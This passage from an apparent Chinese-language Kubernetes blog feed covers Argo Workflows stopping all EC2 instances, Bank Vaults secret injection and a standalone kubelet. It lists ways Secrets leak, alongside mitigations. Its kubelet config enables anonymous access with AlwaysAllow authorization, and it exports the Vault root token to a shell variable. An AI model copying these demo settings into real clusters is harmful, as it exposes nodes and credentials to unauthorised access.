&lt;pre&gt;&lt;code&gt;Error (exit code 1): pods &amp;quot;hello-world-fdddc&amp;quot; is forbidden: User &amp;quot;system:serviceaccount:default:default&amp;quot; cannot patch resource &amp;quot;pods&amp;quot; in API group &amp;quot;&amp;quot; in the namespace &amp;quot;default&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看来这里用到的什么修改 Pod 的功能，看一下命名空间中的 &lt;code&gt;hello-world&lt;/code&gt;，会看到它的内容和我们在模板中指定的简单几行完全不同，多出了 initContainer 和 Sidecar。主容器的命令也被加入了新的内容。&lt;/p&gt;

&lt;p&gt;这里偷个懒，直接借用 Argo 明明空间里的 Argo SA，用法很简单，在 YAML 的 entrypoint 字段后加入同级元素 &lt;code&gt;serviceAccountName: argo&lt;/code&gt;，并且在 Argo 命名空间里创建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl create -f hello-world.yaml -n argo
workflow.argoproj.io/hello-world-l4q2x created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;浏览器控制台可以看到，这次成功运行，并且输出了结果：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/argo-hello.png&#34; alt=&#34;success&#34; /&gt;&lt;/p&gt;

&lt;p&gt;用 &lt;code&gt;argo&lt;/code&gt; CLI 也可以方便的查看：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ argo list -A
NAMESPACE   NAME                STATUS      AGE   DURATION   PRIORITY   MESSAGE
argo        hello-world-l4q2x   Succeeded   7h    10s        0
default     hello-world-fdddc   Error       8h    10s        0          Error (exit c
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;场景&#34;&gt;场景&lt;/h2&gt;

&lt;p&gt;用户可以通过 Restful API、SDK、CLI 和 Web 控制台来访问 AWS 服务，自动化操作通常会使用 SDK 或者 CLI 的方式。这里我们设置一个场景：查询当前账户的 EC2 实例，并关机。&lt;/p&gt;

&lt;p&gt;这里需要用到几个能力：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;使用容器模板加载 AWS 凭据，并运行 AWS CLI 的能力&lt;/li&gt;
&lt;li&gt;将 AWS CLI 结果输出为变量的能力&lt;/li&gt;
&lt;li&gt;循环处理列表变量的能力&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;加载-secret&#34;&gt;加载 Secret&lt;/h3&gt;

&lt;p&gt;假设我们的凭据文件保存在当前目录的 &lt;code&gt;credentials&lt;/code&gt; 文件中，我们需要将它创建为 Secret，并在后续的容器模板中进行加载：&lt;code&gt;kubectl create secret generic awskey --from-file=credentials&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;工作流中想要加载 Secret，跟 Pod 是很相似的，例如我们将会这样编写列出 EC2 实例的环节：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: shutdown-ec2-
  labels:
    workflows.argoproj.io/archive-strategy: &amp;quot;false&amp;quot;
spec:
  serviceAccountName: argo
  entrypoint: list-instances
  volumes:
    - name: aws-secret
      secret:
        secretName: awskey
  templates:
    - name: list-instances
      container:
        image: amazon/aws-cli:2.15.43
        args:
          - &amp;quot;ec2&amp;quot;
          - &amp;quot;describe-instances&amp;quot;
          - &amp;quot;--output&amp;quot;
          - &amp;quot;json&amp;quot;
          - &amp;quot;--region&amp;quot; 
          - &amp;quot;ap-northeast-1&amp;quot;
          - &amp;quot;--query&amp;quot;
          - &amp;quot;Reservations[].Instances[].InstanceId&amp;quot;          
        volumeMounts:
          - name: aws-secret
            mountPath: /root/.aws
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个步骤写完之后，可以运行一下，看看结果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ argo submit -n argo --watch aws-list-ec2.yaml
...
STEP                   TEMPLATE        PODNAME             DURATION  MESSAGE
 ✔ shutdown-ec2-7ngl9  list-instances  shutdown-ec2-7ngl9  4s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看日志会发现，成功返回了一个 JSON 数组，其中包含了我们需要的实例 ID 列表。&lt;/p&gt;

&lt;h2 id=&#34;循环关闭&#34;&gt;循环关闭&lt;/h2&gt;

&lt;p&gt;接下来把这个工作流改为多模板的模式，便于我们加入参数和循环能力。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;实际上 AWS CLI 是直接支持用数组方式关闭多个 EC2 实例的&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: shutdown-ec2-
  labels:
    workflows.argoproj.io/archive-strategy: &amp;quot;false&amp;quot;
spec:
  serviceAccountName: argo
  entrypoint: shutdown-all-ec2
  volumes:
    - name: aws-secret
      secret:
        secretName: awskey
  templates:
    - name: shutdown-all-ec2
      steps:
        - - name: list
            template: list-instances
        - - name: shut
            template: shutdown-ec2
            arguments:
              parameters:
                - name: ec2id
                  value: &amp;quot;{{item.InstanceId}}&amp;quot;
            withParam: &amp;quot;{{steps.list.outputs.result}}&amp;quot;
    - name: list-instances
      container:
        image: amazon/aws-cli:2.15.43
        command: [&amp;quot;aws&amp;quot;]
        args:
          - --output
          - json
          - --region
          - ap-northeast-1
          - ec2
          - describe-instances
          - --query
          - &amp;quot;Reservations[].Instances[]&amp;quot;
        volumeMounts:
          - name: aws-secret
            mountPath: /root/.aws
    - name: shutdown-ec2
      inputs:
        parameters:
          - name: ec2id
      container:
        image: amazon/aws-cli:2.15.43
        command: [&amp;quot;aws&amp;quot;]
        args:
        - &amp;quot;ec2&amp;quot;
        - &amp;quot;stop-instances&amp;quot;
        - --region
        - ap-northeast-1        
        - &amp;quot;--instance-ids&amp;quot;
        - &amp;quot;{{inputs.parameters.ec2id}}&amp;quot;
        volumeMounts:
          - name: aws-secret
            mountPath: /root/.aws
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的 YAML 的主要变化：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;把原有的单步骤流程拓展成了多步骤&lt;/li&gt;
&lt;li&gt;列表中加入了格式化内容，精简输出&lt;/li&gt;

&lt;li&gt;&lt;p&gt;将列表结果作为循环变量，传递给了用于关机的后续步骤&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;arguments:
parameters:
- name: ec2id
  value: &amp;quot;{{item}}&amp;quot;
withParam: &amp;quot;{{steps.list.outputs.result}}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一段将步骤 &lt;code&gt;list&lt;/code&gt; 的控制台输出作为循环变量，传递给 &lt;code&gt;shutdown-ec2&lt;/code&gt; 模板的 &lt;code&gt;ec2id&lt;/code&gt; 参数，逐个关机。&lt;/p&gt;

&lt;p&gt;注意这里的写法，使用 &lt;code&gt;step&lt;/code&gt; 的方式对模板进行引用，形成多步骤流程。&lt;/p&gt;

&lt;p&gt;运行后，可以看到 Argo 用并发的形式，进行了批量关机操作。&lt;/p&gt;

&lt;h2 id=&#34;补充&#34;&gt;补充&lt;/h2&gt;

&lt;p&gt;首先是 AWS CLI 提供了丰富的功能，调用起来实在是比 SDK 方便太多，所以这里用这种形式来简化操作。&lt;/p&gt;

&lt;p&gt;其次是这里对输出变量的做法，其实 Argo 提供了丰富的内置函数，可以对这些输出内容进行较为复杂的处理，当然，也可以用 Script 步骤进行更加细致的定制工作。&lt;/p&gt;

&lt;p&gt;再次，过程中直接加载 AWS 凭据的方法非常不推荐，关于容器环境中的敏感信息管理，已经有很多陈述，这里就不节外生枝了。&lt;/p&gt;

&lt;p&gt;最后，Argo 的文档真烂，真的烂。。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 的小秘密——从 Secret 到 Bank Vault</title>
      <link>/post/secret-to-vault-k8s/</link>
      <pubDate>Thu, 04 Apr 2024 17:52:04 +0800</pubDate>
      <guid>/post/secret-to-vault-k8s/</guid>
      <description>

&lt;p&gt;Kubernetes 提供了 Secret 对象用于承载少量的机密/敏感数据，在实际使用中，有几种常规或者非常规的方式能够获取到 Secret 的内容：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pod 加载（自己的或者不是自己的）Secret 为环境变量或者文件&lt;/li&gt;
&lt;li&gt;使用 Kubernetes API（或者 &lt;code&gt;kubectl&lt;/code&gt;）获取 Secret 对象内容&lt;/li&gt;
&lt;li&gt;连接 ETCD 读取其中保存的 Secret 明文&lt;/li&gt;
&lt;li&gt;在 CICD 工具中截获含有明文的 Secret 对象 YAML&lt;/li&gt;
&lt;li&gt;在加载了 Secret 的容器中直接读取环境变量或者机密文件&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;上述泄露途径有几个方式可以进行消减：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;制定细粒度的 RBAC 策略，防止未授权的 Secret 访问以及 Exec 访问&lt;/li&gt;
&lt;li&gt;API Server 使用加密参数（&lt;code&gt;EncryptionConfiguration&lt;/code&gt;），在 ETCD 中存储密文&lt;/li&gt;
&lt;li&gt;使用 Scratch 等超精简基础镜像，杜绝无用访问&lt;/li&gt;
&lt;li&gt;使用策略引擎，防止不当的加载行为

&lt;ul&gt;
&lt;li&gt;只有特定的 Pod/容器可以加载特定的 Secret&lt;/li&gt;
&lt;li&gt;禁止随意加载主机卷，防止 Kubernetes 组件的身份证书被冒用&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;除了上述的原生方案之外，还有一些补充手段也是有帮助的，例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bitnami 的 Sealed Secret 工具，使用密钥对机密信息进行加密，只有在进入集群之后才会还原为目标 Secret，防止在供应链中泄露信息。&lt;/li&gt;
&lt;li&gt;Vault 提供了一个 Sidecar，能把 Vault 中存储的机密信息，直接在 Pod 中生成相应的敏感信息文件&lt;/li&gt;
&lt;li&gt;Secrets Store CSI Driver 项目，能从 Vault、Azure 等设施获取信息，注入 Pod 或者生成 Secret。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;bank-vault&#34;&gt;Bank Vault&lt;/h2&gt;

&lt;p&gt;Bank Vault 是个 Vault 周边项目，它大大的降低了 Vault 的落地难度，通过 Webhook 注入，Sidecar 等方式，为 Kubernetes 集群中的工作负载提供了方便的 Vault 接入手段。下图表示了它和原生 Vault 的相对优势：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/bank-vault-comparision.png&#34; alt=&#34;comparision&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;部署&#34;&gt;部署&lt;/h3&gt;

&lt;p&gt;Bank Vault 提供了一个 Operator，能够非常方便的部署 Vault 服务极其相关的 Webhook。所以首先从 Helm 安装 Operator 开始。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ helm upgrade --install --wait vault-operator \
oci://ghcr.io/bank-vaults/helm-charts/vault-operator

Release &amp;quot;vault-operator&amp;quot; does not exist. Installing it now.
Pulled: ghcr.io/bank-vaults/helm-charts/vault-operator:1.22.1
Digest: sha256:f9d976c39f96942ae52b26a3ab923f173109de64a87c3161fed2470f7bcfa86f
NAME: vault-operator
LAST DEPLOYED: Sat Apr  6 13:54:32 2024
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来使用 Kustomize 生成 Vault 所需的 RBAC 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl kustomize https://github.com/bank-vaults/vault-operator/deploy/rbac | kubectl apply -f -
serviceaccount/vault created
role.rbac.authorization.k8s.io/vault created
role.rbac.authorization.k8s.io/leader-election-role created
rolebinding.rbac.authorization.k8s.io/leader-election-rolebinding created
rolebinding.rbac.authorization.k8s.io/vault created
clusterrolebinding.rbac.authorization.k8s.io/vault-auth-delegator created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后创建 Vault 实例：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f https://raw.githubusercontent.com/bank-vaults/vault-operator/v1.21.0/deploy/examples/cr-raft.yaml
vault.vault.banzaicloud.com/vault created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建结束后，会出现几个 Pod，分别是 &lt;code&gt;vault-operator&lt;/code&gt;、&lt;code&gt;vault-configurer&lt;/code&gt; 以及三个有状态 &lt;code&gt;vault&lt;/code&gt; 实例。&lt;/p&gt;

&lt;h3 id=&#34;连接到-vault&#34;&gt;连接到 Vault&lt;/h3&gt;

&lt;p&gt;首先是新开一个终端窗口，使用端口转发方式暴露 Vault 服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl port-forward vault-0 8200 &amp;amp;
...
Forwarding from 127.0.0.1:8200 -&amp;gt; 8200
Forwarding from [::1]:8200 -&amp;gt; 8200
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后是给 Vault 客户端准备接入端点和 CA：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# 端点就是 kubectl 转发的端口
$ export VAULT_ADDR=https://127.0.0.1:8200
# 导出证书，并记录到环境变量里
$ kubectl get secret vault-tls -o jsonpath=&amp;quot;{.data.ca\.crt}&amp;quot; | base64 --decode &amp;gt; $PWD/vault-ca.crt
export VAULT_CACERT=$PWD/vault-ca.crt

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查一下 vault 的连接：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault status
Key                     Value
---                     -----
Seal Type               shamir
Initialized             true
Sealed                  false
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用环境变量保存凭据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;export VAULT_TOKEN=$(kubectl get secrets vault-unseal-keys -o jsonpath={.data.vault-root} | base64 --decode)
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;部署-webhook&#34;&gt;部署 Webhook&lt;/h3&gt;

&lt;p&gt;Vault 服务启动并连接之后，就可以开始着手部署功能部分了，前面提到过，Bank Vault 是用 Webhook 实现功能的，所以接下来部署的就是 Webhook 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create namespace vault-infra
$ kubectl label namespace vault-infra name=vault-infra

namespace/vault-infra created
namespace/vault-infra labeled
$ helm upgrade --install --wait vault-secrets-webhook \
  oci://ghcr.io/bank-vaults/helm-charts/vault-secrets-webhook \
  --namespace vault-infra
...
LAST DEPLOYED: Sat Apr  6 14:45:05 2024
NAMESPACE: vault-infra
STATUS: deployed
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;部署完成之后发现生成了两个 Webhook。查看代码，可以看到：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pods.vault-secrets-webhook&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;会被 Pod 的创建事件触发&lt;/li&gt;
&lt;li&gt;跳过 &lt;code&gt;kube-system&lt;/code&gt; 和刚创建的 &lt;code&gt;vault-infra&lt;/code&gt; 两个命名空间&lt;/li&gt;
&lt;li&gt;跳过 &lt;code&gt;security.banzaicloud.io/mutate&lt;/code&gt; 标签为 &lt;code&gt;skip&lt;/code&gt; 的 Pod&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;secrets.vault-secrets-webhook&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;会被 Secret 的创建和更新事件触发&lt;/li&gt;
&lt;li&gt;跳过 &lt;code&gt;kube-system&lt;/code&gt; 和刚创建的 &lt;code&gt;vault-infra&lt;/code&gt; 两个命名空间&lt;/li&gt;
&lt;li&gt;跳过 &lt;code&gt;security.banzaicloud.io/mutate&lt;/code&gt; 标签为 &lt;code&gt;skip&lt;/code&gt; 的 Secret&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;写入测试数据&#34;&gt;写入测试数据&lt;/h3&gt;

&lt;p&gt;向 Vault 写入一个密钥：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;vault kv put secret/demosecret/aws AWS_SECRET_ACCESS_KEY=s3cr3t

======= Secret Path =======
secret/data/demosecret/aws

======= Metadata =======
Key                Value
---                -----
created_time       2024-04-06T07:12:27.042649134Z
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;用环境变量读取-vault-内容&#34;&gt;用环境变量读取 Vault 内容&lt;/h3&gt;

&lt;p&gt;创建一个 Pod，看看 Webhook 会对他做什么。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: vault-test-pod
  labels:
    app.kubernetes.io/name: vault
  annotations:
    vault.security.banzaicloud.io/vault-addr: &amp;quot;https://vault:8200&amp;quot;
    vault.security.banzaicloud.io/vault-role: &amp;quot;default&amp;quot;
    vault.security.banzaicloud.io/vault-skip-verify: &amp;quot;false&amp;quot;
    vault.security.banzaicloud.io/vault-tls-secret: &amp;quot;vault-tls&amp;quot;
    vault.security.banzaicloud.io/vault-agent: &amp;quot;false&amp;quot;
    vault.security.banzaicloud.io/vault-path: &amp;quot;kubernetes&amp;quot;
spec:
  serviceAccountName: default
  containers:
  - name: alpine
    image: alpine
    command: [&amp;quot;sh&amp;quot;, &amp;quot;-c&amp;quot;, &amp;quot;echo $AWS_SECRET_ACCESS_KEY &amp;amp;&amp;amp; echo going to sleep... &amp;amp;&amp;amp; sleep 10000&amp;quot;]
    env:
    - name: AWS_SECRET_ACCESS_KEY
      value: vault:secret/data/demosecret/aws#AWS_SECRET_ACCESS_KEY
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建成功之后，看看 Pod 的日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl logs -f vault-test-pod
Defaulted container &amp;quot;alpine&amp;quot; out of: alpine, copy-vault-env (init)
...
s3cr3t
going to sleep...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里输出了我们之前写入 Vault 的密钥值，然而回头看看，我们的 Pod 定义里，并没有引用 Secret，只是定义了一个值为 &lt;code&gt;vault:secret/data/demosecret/aws#AWS_SECRET_ACCESS_KEY&lt;/code&gt; 的环境变量，&lt;code&gt;command&lt;/code&gt; 节中的命令行直接输出这个环境变量，就能够输出保存在 Vault 中的内容了。但是进入 Pod 的 Shell，会发现环境变量没有变化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it vault-test-pod -- env | grep -i aws
Defaulted container &amp;quot;alpine&amp;quot; out of: alpine, copy-vault-env (init)
AWS_SECRET_ACCESS_KEY=vault:secret/data/demosecret/aws#AWS_SECRET_ACCESS_KEY
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所以 Pod 中被注入了什么呢？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;首先是注入了一个初始化容器，在临时卷里面复制了一个 vault-env 命令&lt;/li&gt;
&lt;li&gt;用卷加载了 Configmap，其中包含了访问 Vault 所需的 CA&lt;/li&gt;
&lt;li&gt;加载了&lt;/li&gt;
&lt;li&gt;根据我们前面的注解，生成了一系列的 &lt;code&gt;VAULT*&lt;/code&gt; 环境变量&lt;/li&gt;

&lt;li&gt;&lt;p&gt;最重要的，它劫持了原有的启动命令，在前面加入了一个 &lt;code&gt;/vault/vault-env&lt;/code&gt;，启动命令就变成了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  - args:
    - sh
    - -c
    - echo $AWS_SECRET_ACCESS_KEY &amp;amp;&amp;amp; echo going to sleep... &amp;amp;&amp;amp; sleep 10000
    command:
    - /vault/vault-env    
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以可以推测——&lt;code&gt;/vault/vault-env&lt;/code&gt; 充当了 &lt;code&gt;sh&lt;/code&gt; 的父进程，在其中根据环境变量 &lt;code&gt;AWS_SECRET_ACCESS_KEY&lt;/code&gt; 的值获取了保存在 Vault 中的机密内容。&lt;/p&gt;

&lt;h3 id=&#34;用机密数据渲染配置文件&#34;&gt;用机密数据渲染配置文件&lt;/h3&gt;

&lt;p&gt;看看下面的 &lt;code&gt;Configmap&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ConfigMap
metadata:
  labels:
    app.kubernetes.io/name: my-app
    my-app.kubernetes.io/name: my-app-vault-agent
    branches: &amp;quot;true&amp;quot;
  name: my-app-vault-agent
data:
  config.hcl: |
    vault {
      // This is needed until https://github.com/hashicorp/vault/issues/7889
      // gets fixed, otherwise it is automated by the webhook.
      ca_cert = &amp;quot;/vault/tls/ca.crt&amp;quot;
    }
    auto_auth {
      method &amp;quot;kubernetes&amp;quot; {
        mount_path = &amp;quot;auth/kubernetes&amp;quot;
        config = {
          role = &amp;quot;default&amp;quot;
        }
      }
      sink &amp;quot;file&amp;quot; {
        config = {
          path = &amp;quot;/vault/.vault-token&amp;quot;
        }
      }
    }
    template {
      contents = &amp;lt;&amp;lt;EOH
        {{- with secret &amp;quot;secret/data/demosecret/aws&amp;quot; }}
        token: {{ .Data.data.AWS_SECRET_ACCESS_KEY }}
        {{ end }}
      EOH
      destination = &amp;quot;/tmp/config&amp;quot;
      // command     = &amp;quot;/bin/sh -c \&amp;quot;kill -HUP $(pidof sleep) || true\&amp;quot;&amp;quot;
    }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的配置文件指示了如何对接 Vault，从 &lt;code&gt;secret/data/demosecret/aws&lt;/code&gt; 拉取 &lt;code&gt;AWS_SECRET_ACCESS_KEY&lt;/code&gt; 中的值，渲染到 &lt;code&gt;template&lt;/code&gt; 一节中的模板里面。只要在 Pod 的注解中加入 &lt;code&gt;vault.security.banzaicloud.io/vault-agent-configmap: &amp;quot;my-app-vault-agent&amp;quot;&lt;/code&gt;。就可以在这个容器中加入 Sidecar，使用 Sidecar 在 &lt;code&gt;destination&lt;/code&gt; 字段指定的配置文件里保存渲染结果。如果 &lt;code&gt;command&lt;/code&gt; 有赋值，还可以发出命令，通知业务应用刷新配置。&lt;/p&gt;

&lt;p&gt;加入该注解的 Pod 运行后，可以在这个 Pod 的指定文件中看到渲染结果，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get pods | grep vault-agent-pod
vault-agent-pod                     2/2     Running   0              9m8s
$ kubectl exec -it vault-agent-pod -- cat /tmp/config
Defaulted container &amp;quot;vault-agent&amp;quot; out of: vault-agent, alpine

    token: s3cr3t
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;Bank Valut 这个项目虽然已经有 2000 Star 了，不过文档还弱的很，甚至 Blog 全挂了也没人理。但是这个思路还是有点意思。虽说有点像屠龙技，不过被安全同学卡脖子的时候，这种使用父进程遮盖环境变量，或者用轮转方式刷新配置文件的玩法，都算是个可行的解法。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>不用 API Server 也能运行 Pod？</title>
      <link>/post/kubelet-stand-alone/</link>
      <pubDate>Wed, 21 Feb 2024 23:37:11 +0800</pubDate>
      <guid>/post/kubelet-stand-alone/</guid>
      <description>

&lt;p&gt;遇到一个奇怪的需求：想复用 Pod 的 YAML，但是家境贫寒，不想搞个高可用 API Server；又惜字如金，不想上 Docker Compose。一顿 Google 猛如虎之后，得到了两个方案：静态 Pod 和 &lt;code&gt;podman play kube&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;静态-pod&#34;&gt;静态 Pod&lt;/h2&gt;

&lt;p&gt;Kubernetes 有个功能，就是 &lt;code&gt;static pod&lt;/code&gt;，官网介绍大致如下：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;静态 Pod 由特定节点上的 kubelet 守护进程直接管理的，API 服务器并不关注静态 Pod。通常说来，Pod 是由 Deployments 之类的控制器管理的，而静态 Pod 则是在 Kubelet 的看护之下，并负责其重新启动的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;那么 Kubelet 是否可以脱离 API Server 直接运行呢？答案是肯定的，Kelsey Hightower 早在七年前就做了这样的尝试。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/kelseyhightower/standalone-kubelet-tutorial&#34; target=&#34;_blank&#34;&gt;https://github.com/kelseyhightower/standalone-kubelet-tutorial&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;想法很简单，单独运行一个 Kubelet，使用 Kubelet 拉起磁盘上的 Pod 文件。&lt;/p&gt;

&lt;h3 id=&#34;测试&#34;&gt;测试&lt;/h3&gt;

&lt;p&gt;以目前最新版本的 &lt;code&gt;1.29&lt;/code&gt; 为例，在 Ubuntu 中按照默认方式使用 &lt;code&gt;apt&lt;/code&gt; 部署 Containerd：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ apt install containerd cri-tools
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后按照官网文档安装 kubelet：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ apt-get install -y apt-transport-https ca-certificates curl gpg
$ curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.29/deb/Release.key | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg
$ echo &#39;deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.29/deb/ /&#39; | sudo tee /etc/apt/sources.list.d/kubernetes.list
$ sudo apt-get update
$ sudo apt-get install -y kubelet
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;编写如下 &lt;code&gt;kubelet.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
enableServer: false
staticPodPath: /home/kubelet/pods
readOnlyPort: 10250
failSwapOn: false
podCIDR: 10.241.1.0/24
authentication:
  anonymous:
    enabled: true
  webhook:
    enabled: false
authorization:
  mode: AlwaysAllow
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后，我们启动 Kubelet：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubelet --config=kubelet.yaml
I0302 11:39:14.006446    9890 server.go:487] &amp;quot;Kubelet version&amp;quot; kubeletVersion=&amp;quot;v1.29.2&amp;quot;
I0302 11:39:14.006492    9890 server.go:489] &amp;quot;Golang settings&amp;quot; GOGC=&amp;quot;&amp;quot; GOMAXPROCS=&amp;quot;&amp;quot; GOTRACEBACK=&amp;quot;&amp;quot;
I0302 11:39:14.006622    9890 server.go:650] &amp;quot;Standalone mode, no API client&amp;quot;
I0302 11:39:14.010584    9890 server.go:538] &amp;quot;No api server defined - no events will be sent to API server&amp;quot;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意，如果使用其它配置方法的容器运行时，可能需要指定不同的 &lt;code&gt;Endpoint&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这里会看到，日志中直接就表明这是一个独立运行模式的 Kubelet。&lt;/p&gt;

&lt;p&gt;最后只要把一个 Pod 定义的文件拷贝到上文配置中的指定目录就能启动 Pod 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: apache
spec:
  containers:
  - name: apache
    image: httpd
    ports:
    - name: http
      containerPort: 80
      hostPort: 45678
    volumeMounts:
    - name: local
      mountPath: /data
  volumes:
  - name: local
    hostPath:
      path: /home/volumes/data
      type: Directory

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 &lt;code&gt;crictl&lt;/code&gt; 查看运行中的 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$  sudo crictl ps
55a65b4642f47       50a1bd9b297f7       18 seconds ago      Running             apache              0                   c141f4e021cdf       apache-ubuntu
$ curl http://127.0.0.1:45678
&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;It works!&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod 已经启动。&lt;/p&gt;

&lt;h3 id=&#34;限制&#34;&gt;限制&lt;/h3&gt;

&lt;p&gt;因为没有 API Server 的支持，所以静态 Pod 里面是无法引用 &lt;code&gt;Configmap&lt;/code&gt;、&lt;code&gt;Secret&lt;/code&gt; 之类的外部对象的。更不要提 &lt;code&gt;Deployment&lt;/code&gt; 了。&lt;/p&gt;

&lt;h2 id=&#34;podman-play-kube&#34;&gt;Podman Play Kube&lt;/h2&gt;

&lt;p&gt;和独立模式的 Kubelet 不同，&lt;code&gt;podman play kube&lt;/code&gt; 支持的 Kubernetes 对象除了 Pod 之外，还支持：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deployment&lt;/li&gt;
&lt;li&gt;PVC&lt;/li&gt;
